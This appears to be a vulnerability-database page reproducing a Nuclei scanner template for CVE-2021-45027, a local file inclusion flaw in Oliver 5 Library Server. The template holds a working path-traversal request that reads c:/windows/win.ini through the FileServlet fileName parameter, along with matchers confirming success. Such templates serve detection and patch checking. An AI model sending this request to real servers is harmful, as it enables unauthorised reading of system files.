CVE-2021-45027: Oliver 5 Library Server <8.00.008.053 - Local File Inclusion

2025-08-01 Oliver 5 Library Server PoC Public

Description

Oliver 5 Library Server versions prior to 8.00.008.053 are vulnerable to local file inclusion via the FileServlet function.

PoC

id: CVE-2021-45027

info:
  name: Oliver 5 Library Server <8.00.008.053 - Local File Inclusion
  author: gy741
  severity: high
  description: Oliver 5 Library Server versions prior to 8.00.008.053 are vulnerable to local file inclusion via the FileServlet function.
  impact: |
    Unauthenticated attackers can read arbitrary files from the Windows server including win.ini via path traversal in the fileName parameter.
  remediation: |
    Upgrade to Oliver 5 Library Server version 8.00.008.053 or later.
  reference:
    - https://www.exploit-db.com/exploits/50599
    - https://www.softlinkint.com/product/oliver/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45027
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-45027
    epss-score: 0.01927
    epss-percentile: 0.78937
    cwe-id: CWE-22
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2021,lfi,oliver,edb,windows,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/oliver/FileServlet?source=serverFile&fileName=c:/windows/win.ini"

    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
# digest: 4a0a0047304502203a7095d2f8571dd3fc472942a7eebaa7b62a03af06e21f4165aa259daa05995b022100de70facd58d8fa6c0bcc996d711e1f0606b991ae6e13f485cc7f3df815d1a109:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-45027.yaml

References

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